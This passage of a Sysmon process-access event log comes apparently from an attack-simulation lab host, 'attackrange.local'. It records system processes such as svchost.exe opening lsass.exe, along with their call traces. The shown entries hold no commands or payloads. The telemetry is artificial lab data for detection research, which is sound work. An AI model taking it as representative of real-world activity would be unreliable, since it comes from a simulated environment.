C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1117,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1118,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1119,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1120,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1121,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 2684\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104D150200}\r\nTargetProcessId: 2740\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+52f1|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"2684","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104D150200}","TargetProcessId":"2740","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+52f1|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1122,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104D150200}\r\nTargetProcessId: 2740\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104D150200}","TargetProcessId":"2740","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1123,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104D150200}\r\nTargetProcessId: 2740\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104D150200}","TargetProcessId":"2740","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1124,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1124\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104D150200}\r\nTargetProcessId: 2740\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1124","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104D150200}","TargetProcessId":"2740","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 